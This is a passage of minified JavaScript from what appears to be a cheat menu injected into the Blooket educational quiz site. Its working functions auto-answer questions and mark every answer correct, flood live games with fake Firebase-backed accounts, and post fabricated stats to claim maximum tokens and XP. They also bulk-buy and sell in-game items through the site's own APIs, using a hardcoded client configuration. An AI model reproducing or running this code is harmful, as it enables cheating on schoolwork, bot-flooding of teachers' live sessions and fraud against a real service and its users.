`})),v("div",{className:"contentWrapper",style:{position:"absolute",left:"220px",top:"70px",overflowY:"scroll",width:"calc(100% - 220px)",height:"calc(100% - 70px)",borderRadius:"7px"}},v("div",{id:"content",style:{position:"absolute",inset:"27px 50px 50px 50px"}},y=v("div",{className:"tooltip",style:{position:"absolute",top:"0",left:"0",backgroundColor:"black",height:"fit-content",maxWidth:"300px",zIndex:"5",borderRadius:"7.5px",color:"white",display:"flex",justifyContent:"center",alignItems:"center",padding:"5px",paddingInline:"15px",pointerEvents:"none",opacity:"0",textAlign:"center"},innerText:"description"}),f=v("div",{style:{alignItems:"center",boxSizing:"border-box",display:"flex",flexDirection:"row",flexWrap:"wrap",justifyContent:"space-evenly",padding:"20px 5px 20px",position:"relative",width:"100%",fontFamily:"Nunito, sans-serif",fontWeight:"400",color:"var(--textColor)",background:"var(--contentBackground)",boxShadow:"inset 0 -6px rgb(0 0 0 / 20%)",borderRadius:"7px"}},w=v("div",{className:"headerText",style:{boxSizing:"border-box",display:"block",height:"45px",left:"-10px",padding:"4px 4px 8px",position:"absolute",top:"-28px",backgroundColor:"#ef7426",boxShadow:"0 4px rgb(0 0 0 / 20%), inset 0 -4px rgb(0 0 0 / 20%)",borderRadius:"7px"}},v("div",{style:{alignItems:"center",boxSizing:"border-box",display:"flex",height:"100%",justifyContent:"center",padding:"0 15px",width:"100%",fontFamily:"Titan One, sans-serif",fontSize:"26px",fontWeight:"400",textShadow:"-1px -1px 0 #646464, 1px -1px 0 #646464, -1px 1px 0 #646464, 2px 2px 0 #646464",color:"white",background:"linear-gradient(#fcd843,#fcd843 50%,#feb31a 50.01%,#feb31a)",borderRadius:"5px"}})))))));for(const A of document.querySelectorAll("#"+c))A.remove();function C(e,t,a,o){const s=v("div",{className:"cheatButton",innerHTML:("string"==typeof t?``:t||"")+e,onclick:()=>x(s.innerText,a,o)});return u.appendChild(s),s.onclick}async function x(e,l,t){f.innerHTML="",w.firstChild.innerText=e+(t?"":" Cheats"),f.append(w);for(let i=0;i"number"==e.type?parseInt("0"+e.value):"SELECT"==e.nodeName?JSON.parse(e.value):e.data||e.value)),"toggle"==a&&(b.style.background=this.enabled?"var(--enabledButton)":"var(--disabledButton)"),S.alerts?.[0].addLog(`${"toggle"==a?this.enabled?"Enabled":"Disabled":"Ran"} ${this.name}`+(o?.length?` with inputs: (${t.map(e=>"SELECT"==e.nodeName?e.selectedOptions[0].innerText:e.value).join(", ")})`:""),"toggle"==a?this.enabled?"var(--enabledButton)":"var(--disabledButton)":null))}.bind(l[i]),o?.length)for(let t=0;t{var t=document.createElement("option");t.value=JSON.stringify(e?.value||e),t.innerHTML=e?.name||e,g.appendChild(t)}),b.appendChild(g)}else if("function"==d){const y=document.createElement("input");y.classList.add("cheatInput"),y.placeholder=c,y.style.textAlign="center";let e=!(y.readOnly=!0);y.onclick=async()=>{e||(y.value="Waiting for input...",e=!0,y.data=await o[t].function(e=>y.value=e+"..."),e=!1,y.value=y.value.slice(0,-3))},b.appendChild(y)}else{p=document.createElement("input");p.classList.add("cheatInput"),"number"==d&&(p.type="number",p.min=m,p.max=u,p.value=h||(null!=m?m:0)),p.placeholder=c,p.style.textAlign="center",p.onkeyup=b.onclick,b.appendChild(p)}}l[i].element=b}f.appendChild(l[i].element)}}document.body.appendChild(k);const S={global:[{name:"Auto Answer (Toggle)",description:"Toggles auto answer on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var{state:{question:e,stage:t,feedback:a},props:{client:{question:o}}}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];const s=e||o;try{"typing"!=s.qType?("feedback"===t||a?document.querySelector('[class*="feedback"]')?.firstChild:[...document.querySelectorAll('[class*="answerContainer"]')][s.answers.map((e,t)=>s.correctAnswers.includes(e)?t:null).filter(e=>null!=e)[0]])?.click?.():Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(s.answers[0])}catch{}},50))}},{name:"Highlight Answers (Toggle)",description:"Toggles highlight answers on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{const{state:a,props:o}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];[...document.querySelectorAll('[class*="answerContainer"]')].forEach((e,t)=>{(a.question||o.client.question).correctAnswers.includes((a.question||o.client.question).answers[t])?e.style.backgroundColor="rgb(0, 207, 119)":e.style.backgroundColor="rgb(189, 15, 38)"})},50))}},{name:"Auto Answer",description:"Click the correct answer for you",run:function(){const{state:{question:a,stage:e,feedback:t},props:{client:{question:o}}}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];try{"typing"!=a.qType?("feedback"===e||t?document.querySelector('[class*="feedback"]')?.firstChild:[...document.querySelectorAll('[class*="answerContainer"]')][(a||o).answers.map((e,t)=>(a||o).correctAnswers.includes(e)?t:null).filter(e=>null!=e)[0]])?.click?.():Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(a.answers[0])}catch{}}},{name:"Spam Buy Blooks",description:"Opens a box an amount of times",inputs:[{name:"Box",type:"options",options:()=>new Promise(e=>{e(Object.keys(Object.values(webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]]).webpack.c).find(e=>!isNaN(e?.exports?.a?.Space)).exports.a||{}))})},{name:"Amount",type:"number"}],run:function(a,o){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.prompt=e.contentWindow.prompt.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();let s=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],t=Object.values(s.c).find(e=>e.exports?.a?.get).exports.a,c=Object.values(s.c).find(e=>e.exports.a?.purchaseBlookBox).exports.a["purchaseBlookBox"];a=a.split(" ").map(e=>e.charAt(0).toUpperCase()+e.slice(1).toLowerCase()).join(" "),t.get("https://dashboard.blooket.com/api/users").then(async({data:{tokens:e}})=>{var t=Object.values(s.c).find(e=>!isNaN(e?.exports?.a?.Space)).exports.a||{Medieval:20,Breakfast:20,Wonderland:20,Blizzard:25,Space:20,Bot:20,Aquatic:20,Safari:20,Dino:25,"Ice Monster":25,Outback:25};let l=Math.min(Math.floor(e/t[a]),o);if(0==l)0{r[a]||=0,r[a]++;var o=Date.now();n&&alert(`${a} (${s+1}/${l}) ${e?"NEW! ":""}${t} tokens left`),i+=Date.now()-o}).catch(e=>t=!0),!t);s++);alert(`(${Date.now()-i}ms) Results:\n`+Object.entries(r).map(([e,t])=>` ${e} `+t).join(`\n`))}}).catch(()=>alert("There was an error user data!"))}},{name:"Flood Game",description:"Floods a game with a number of fake accounts",inputs:[{name:"Game ID",type:"string"},{name:"Name",type:"string"},{name:"Amount",type:"number"},{name:"Blook",type:"options",options:async()=>{var e=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"];return["Random"].concat(Object.keys(Object.values(e.c).find(e=>e.exports.a?.Chick&&e.exports.a?.Elephant).exports.a))}},{name:"Banner",type:"options",options:Object.entries({Starter:"starter",Chalkboard:"chalkboard",Slime:"slime",Bookshelf:"bookshelf","Toaster Pastry":"toasterPastry",Theater:"theater",Sushi:"sushi",Workbench:"workbench",Spooky:"spooky",Spiders:"spiders",Coffin:"coffin",Pumpkins:"pumpkins","Falling Blocks":"fallingBlocks",Racetrack:"racetrack",Harvest:"harvest",Leaves:"leaves","Fall Picnic":"fallPicnic","Winter Drive":"winterDrive","Winter Train":"winterTrain",Ice:"ice",Gifts:"gifts","Christmas Tree":"christmasTree","Soccer Field":"soccerField","Winter Landscape":"winterLandscape","Football Field":"footballField","Outer Space":"outerSpace","Hockey Rink":"hockeyRink","Music Class":"musicClass","Ice Cream Sandwich":"iceCreamSandwich","Science Class":"scienceClass","Fish Tank":"fishTank","Art Class":"artClass",Clockwork:"clockwork","Love Letter":"loveLetter",Farm:"farm",Chocolate:"chocolate","Tech Chip":"techChip",Fire:"fire","Orange Ice Pop":"orangeIcePop"}).map(([e,t])=>({name:e,value:t}))}],run:async function(n,r,e,i,l){var t=Object.values(webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache);const c=t.find(e=>e.exports?.a?.get).exports.a,d=t.find(e=>e.exports?.a?.initializeApp).exports.a,p=Object.keys(Object.values(t).find(e=>e.exports.a?.Black).exports.a);for(let s=1;s<=e;s++)(async()=>{var e=""+r+String.fromCharCode(96+s),{success:t,fbToken:a,fbShardURL:o}=(await c.put("https://fb.blooket.com/c/firebase/join",{id:n,name:e}))["data"];t&&(t=d.initializeApp({apiKey:"AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU",authDomain:"blooket-2020.firebaseapp.com",projectId:"blooket-2020",storageBucket:"blooket-2020.appspot.com",messagingSenderId:"741533559105",appId:"1:741533559105:web:b8cbb10e6123f2913519c0",measurementId:"G-S3H5NGN10Z",databaseURL:o},e),await(o=d.auth(t)).setPersistence(d.auth.Auth.Persistence.NONE).catch(console.error),await o.signInWithCustomToken(a).catch(console.error),await t.database().ref(n+"/c/"+e).set({b:"Random"==i?p[Math.floor(Math.random()*p.length)]:i,bg:l}),t.delete())})(),await new Promise(e=>setTimeout(e,100))}},{name:"Change Blook Ingame",description:"Changes your blook",inputs:[{name:"Blook",type:"options",options:async()=>{var e=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"];return Object.keys(Object.values(e.c).find(e=>e.exports.a?.Chick&&e.exports.a?.Elephant).exports.a)}}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode["props"];t.client.blook=e,t.liveGameController.setVal({path:`c/${t.client.name}/b`,val:e})}},{name:"Get Daily Rewards",description:"Gets max daily tokens and xp",run:function(){var e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),location.href.includes("play.blooket.com")){const o=Object.values(webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache),s=o.find(e=>e.exports?.a?.get).exports.a;s.post("https://play.blooket.com/api/playersessions/solo",{gameMode:"Factory",questionSetId:["60101da869e8c70013913b59","625db660c6842334835cb4c6","60268f8861bd520016eae038","611e6c804abdf900668699e3","60ba5ff6077eb600221b7145","642467af9b704783215c1f1b","605bd360e35779001bf57c5e","6234cc7add097ff1c9cff3bd","600b1491d42a140004d5215a","5db75fa3f1fa190017b61c0c","5fac96fe2ca0da00042b018f","600b14d8d42a140004d52165","5f88953cdb209e00046522c7","600b153ad42a140004d52172","5fe260e72a505b00040e2a11","5fe3d085a529560004cd3076","5f5fc017aee59500041a1456","608b0a5863c4f2001eed43f4","5fad491512c8620004918ace","5fc91a9b4ea2e200046bd49a","5c5d06a7deebc70017245da7","5ff767051b68750004a6fd21","5fdcacc85d465a0004b021b9","5fb7eea20bd44300045ba495"][Math.floor(24*Math.random())]}).then(async({data:{t:e}})=>{await s.post("https://play.blooket.com/api/playersessions/landings",{t:e});var{name:t,blook:{name:a}}=await o.find(e=>e.exports.a?.me).exports.a.me({}).catch(()=>alert("There was an error getting user data."));await s.put("https://play.blooket.com/api/users/factorystats",{blookUsed:a,t:e,name:t,cash:Math.floor(9e7*Math.random())+1e7,correctAnswers:Math.floor(500*Math.random())+500,upgrades:Math.floor(300*Math.random())+300,mode:"Time-Solo",nameUsed:"You",place:1,playersDefeated:0}).then(console.log),s.put("https://play.blooket.com/api/users/add-rewards",{t:e,name:t,addedTokens:500,addedXp:300}).then(({data:{dailyReward:e}})=>alert(`Added max tokens and xp, and got ${e} daily wheel tokens!`)).catch(()=>alert("There was an error when adding rewards."))})}else alert("This cheat only works on play.blooket.com, opening a new tab."),window.open("https://play.blooket.com/")}},{name:"Use Any Blook",description:"Allows you to play as any blook",run:function(){const a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];var e=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]]).webpack("MDrD").a;"/blooks"==location.pathname?a.setState({blookData:Object.keys(e).reduce((e,t)=>(e[t]=a.state.blookData[t]||1,e),{}),allSets:Object.values(e).reduce((e,t)=>e.includes(t.set)?e:e.concat(t.set),[])}):Array.isArray(a.state.unlocks)?a.setState({unlocks:Object.keys(e)}):a.setState({unlocks:e})}},{name:"Every Answer Correct",description:"Sets every answer to be correct",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.freeQuestions=e.questions=e.props.client.questions.map(e=>({...e,correctAnswers:e.answers}))}},{name:"Highlight Answers",description:"Colors answers to be red or green highlighting the correct ones",run:function(){const{state:a,props:o}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];[...document.querySelectorAll('[class*="answerContainer"]')].forEach((e,t)=>{(a.question||o.client.question).correctAnswers.includes((a.question||o.client.question).answers[t])?e.style.backgroundColor="rgb(0, 207, 119)":e.style.backgroundColor="rgb(189, 15, 38)"})}},{name:"Remove Name Limit",description:"Sets the name limit to 120, which is the actual max name length limit",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),document.querySelector('input[class*="nameInput"]').maxLength=120,alert("Removed name length limit")}},{name:"Remove Random Name",description:"Allows you to put a custom name",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({isRandom:!1,client:{name:""}}),document.querySelector('[class*="nameInput"]')?.focus?.()}},{name:"Sell Cheap Duplicates",description:"Sells all of your uncommon to epic dupes (not legendaries+)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();let t=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],a=Object.values(t.c).find(e=>e.exports?.a?.get).exports.a,s=Object.values(t.c).find(e=>e.exports.a?.sellBlook).exports.a["sellBlook"];a.get("https://dashboard.blooket.com/api/users").then(async({data:{unlocks:e}})=>{e=Object.entries(e).filter(([e,t])=>1{t.webpack=a}},[["1234"]]]).webpack("MDrD").a[e].rarity));if(confirm("Are you sure you want to sell your uncommon to epic dupes?")){var t,a,o=Date.now();for([t,a]of e)await s({blook:t,numToSell:a-1});alert(`(${Date.now()-o}ms) Results:\n`+e.map(([e,t])=>` ${e} `+(t-1)).join(`\n`))}}).catch(()=>alert("There was an error user data!"))}},{name:"Sell Duplicate Blooks",description:"Sell all duplicate blooks leaving you with 1 each",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();let t=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],a=Object.values(t.c).find(e=>e.exports?.a?.get).exports.a,s=Object.values(t.c).find(e=>e.exports.a?.sellBlook).exports.a["sellBlook"];a.get("https://dashboard.blooket.com/api/users").then(async({data:{unlocks:e}})=>{e=Object.entries(e).filter(e=>1` ${e} `+(t-1)).join(`\n`))}}).catch(e=>(alert("There was an error user data!"),console.info(e)))}},{name:"Simulate Pack",description:"Simulate opening a pack",inputs:[{name:"Pack",type:"options",options:async()=>Array.from(document.querySelectorAll('[class*="packShadow"]')).map(e=>e.alt)}],run:function(){try{let u=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],e=Object.values(u.c),t=e.find(e=>e.exports?.a?.Chick?.set).exports.a,o=e.find(e=>e.exports.a?.Breakfast).exports.a,s=(Object.entries(t).reduce((e,[t,a])=>(o[a.realSet||a.set]&&(e[t]=a),e),{}),Object.values(u.c).find(e=>e.exports?.Class).exports),h={};class r extends s.Scene{constructor(e){super(),this.rarity=e.toLowerCase()}preload(){switch(this.rarity){case"uncommon":this.load.svg("uncommon-1","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg",{width:25,height:25}),this.load.svg("uncommon-2","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg",{width:25,height:25}),this.load.svg("uncommon-3","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg",{width:25,height:25}),this.load.svg("uncommon-4","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg",{width:30,height:30}),this.load.svg("uncommon-5","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-6","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-7","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg",{width:30,height:30});break;case"rare":this.load.svg("rare-1","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg",{width:25,height:25}),this.load.svg("rare-2","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg",{width:25,height:25}),this.load.svg("rare-3","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg",{width:30,height:30}),this.load.svg("rare-4","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg",{width:30,height:30}),this.load.svg("rare-5","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg",{width:30,height:30}),this.load.svg("rare-6","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg",{width:30,height:30}),this.load.svg("rare-7","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg",{width:25,height:25});break;case"epic":this.load.svg("epic-1","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg",{width:25,height:25}),this.load.svg("epic-2","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg",{width:25,height:25}),this.load.svg("epic-3","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg",{width:30,height:30}),this.load.svg("epic-4","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg",{width:30,height:30}),this.load.svg("epic-5","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg",{width:30,height:30}),this.load.svg("epic-6","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg",{width:30,height:30}),this.load.svg("epic-7","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg",{width:25,height:25});break;case"legendary":this.load.svg("legendary-1","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg",{width:25,height:25}),this.load.svg("legendary-2","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg",{width:25,height:25}),this.load.svg("legendary-3","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg",{width:25,height:25}),this.load.svg("legendary-4","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg",{width:30,height:30}),this.load.svg("legendary-5","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg",{width:30,height:30}),this.load.svg("legendary-6","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg",{width:25,height:25}),this.load.svg("legendary-7","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg",{width:30,height:30});break;case"chroma":this.load.svg("chroma-1","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-2","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-3","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-4","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-5","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-6","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-7","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg",{width:25,height:25})}}create(){h.scene=this,h.rarity="",h.particles=this.physics.add.group({classType:new s.Class({Extends:s.GameObjects.Image,initialize:function(){s.GameObjects.Image.call(this,h.scene,0,0,"uncommon-1"),this.setDepth(3),this.lifespan=0},spawn:function(e,t,a,o,s,n,r,i,l){this.setTexture(l),this.setActive(!0),this.setVisible(!0),this.setPosition(e,t),this.setScale(a),this.targets=[],h.scene.physics.velocityFromAngle(o,s,this.body.velocity),this.body.setGravityY(n),this.body.setAngularVelocity(r),this.lifespan=i},update:function(e,t){this.lifespan-=t,0{h.rarity=e,this.numExplosions="Uncommon"===e?75:"Rare"===e?100:-1})}update(e,t){const a=u("74sb");function o(e){switch(e){case"center":var t=Object(a.l)(-115,-65);return{x:h.scene.cameras.main.worldView.width/2,y:h.scene.cameras.main.worldView.height/2,scale:Object(a.l)(.7,1),angle:t,velocity:Object(a.l)(600,750),gravity:700,angVelocity:(-90h.scene.cameras.main.worldView.height/2?-150:-210,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(-175,-125),lifespan:2500};case"left-diamond":t=Object(a.l)(0,h.scene.cameras.main.worldView.height);return{x:0,y:t,scale:Object(a.l)(.7,1),angle:t>h.scene.cameras.main.worldView.height/2?-30:30,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(125,175),lifespan:2500};default:return{}}}if(h.rarity&&0!==this.numExplosions&&(this.nextParticle-=t,this.nextParticle<=0)){switch(h.rarity){case"Uncommon":for(let e=0;e<2;e++){var s=h.particles.get();s&&s.spawn.apply(s,Object.values(o("center")).concat("uncommon-"+Object(a.m)(1,8)))}break;case"Rare":for(var n=0;n<2;n++){var r=h.particles.get();r&&r.spawn.apply(r,Object.values(o(n%2==0?"left-bottom":"right-bottom")).concat("rare-"+Object(a.m)(1,8)))}break;case"Epic":for(var i=0;i<2;i++){var l=h.particles.get();l&&l.spawn.apply(l,Object.values(o(i%2==0?"left-shower":"right-shower")).concat("epic-"+Object(a.m)(1,8)))}break;case"Legendary":for(var c=0;c<3;c++){var d=h.particles.get();d&&d.spawn.apply(d,Object.values(o("top")).concat("legendary-"+Object(a.m)(1,8)))}break;case"Chroma":for(var p=0;p<3;p++){var m=h.particles.get();m&&m.spawn.apply(m,Object.values(o(p%2==0?"left-diamond":"right-diamond")).concat("chroma-"+Object(a.m)(1,8)))}}this.nextParticle=20,0(e.packs.includes(t)&&(e.data[t]=Object.fromEntries(n.b(t))),e),{packs:Array.from(document.querySelectorAll('[class*="packShadow"]')).map(e=>e.alt),data:{}}).data)[e]?(e=function(e){var t=[],a=Object.keys(n[e]);for(const s of a)t.push(n[e][s]+(t[a.indexOf(s)-1]||0));const o=t[t.length-1]*Math.random();return a[t.findIndex(e=>e>=o)]}(e),t=Object.values(u.c).find(e=>e.exports?.a?.Elephant).exports.a,a.setState({loadingPack:!1,openPack:!0,unlockedBlook:e,tokens:a.state.tokens,newUnlock:!0,game:{type:s.WEBGL,parent:"phaser-market",width:"100%",height:"100%",scale:{mode:s.Scale.NONE,autoCenter:s.Scale.CENTER_BOTH},transparent:!0,physics:{default:"arcade"},scene:new r(t[e].rarity)},canOpen:!0})):alert("I couldn't find that box!")}}catch{}}()},{name:"Simulate Unlock",description:"Simulate unlocking most of the blooks",inputs:[{name:"Blook",type:"options",options:()=>{try{var e=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],t=Object.values(e.c);const o=t.find(e=>"number"==typeof e.exports.a?.Breakfast).exports.a;return Object.entries(t.find(e=>e.exports.a?.Black).exports.a).reduce((e,[t,a])=>o[a.realSet||a.set]?e.concat(t):e,[])}catch{return[]}}}],run:function(){try{let u=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],e=Object.values(u.c),t=e.find(e=>e.exports?.a?.Black).exports.a,o=e.find(e=>"number"==typeof e.exports.a?.Breakfast).exports.a,a=Object.entries(t).reduce((e,[t,a])=>(o[a.realSet||a.set]&&(e[t]=a),e),{}),s=e.find(e=>e.exports?.Class).exports,h={};class n extends s.Scene{constructor(e){super(),this.rarity=e.toLowerCase()}preload(){switch(this.rarity){case"uncommon":this.load.svg("uncommon-1","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg",{width:25,height:25}),this.load.svg("uncommon-2","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg",{width:25,height:25}),this.load.svg("uncommon-3","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg",{width:25,height:25}),this.load.svg("uncommon-4","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg",{width:30,height:30}),this.load.svg("uncommon-5","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-6","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-7","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg",{width:30,height:30});break;case"rare":this.load.svg("rare-1","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg",{width:25,height:25}),this.load.svg("rare-2","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg",{width:25,height:25}),this.load.svg("rare-3","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg",{width:30,height:30}),this.load.svg("rare-4","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg",{width:30,height:30}),this.load.svg("rare-5","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg",{width:30,height:30}),this.load.svg("rare-6","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg",{width:30,height:30}),this.load.svg("rare-7","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg",{width:25,height:25});break;case"epic":this.load.svg("epic-1","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg",{width:25,height:25}),this.load.svg("epic-2","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg",{width:25,height:25}),this.load.svg("epic-3","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg",{width:30,height:30}),this.load.svg("epic-4","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg",{width:30,height:30}),this.load.svg("epic-5","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg",{width:30,height:30}),this.load.svg("epic-6","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg",{width:30,height:30}),this.load.svg("epic-7","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg",{width:25,height:25});break;case"legendary":this.load.svg("legendary-1","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg",{width:25,height:25}),this.load.svg("legendary-2","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg",{width:25,height:25}),this.load.svg("legendary-3","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg",{width:25,height:25}),this.load.svg("legendary-4","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg",{width:30,height:30}),this.load.svg("legendary-5","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg",{width:30,height:30}),this.load.svg("legendary-6","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg",{width:25,height:25}),this.load.svg("legendary-7","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg",{width:30,height:30});break;case"chroma":this.load.svg("chroma-1","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-2","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-3","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-4","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-5","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-6","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-7","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg",{width:25,height:25})}}create(){h.scene=this,h.rarity="",h.particles=this.physics.add.group({classType:new 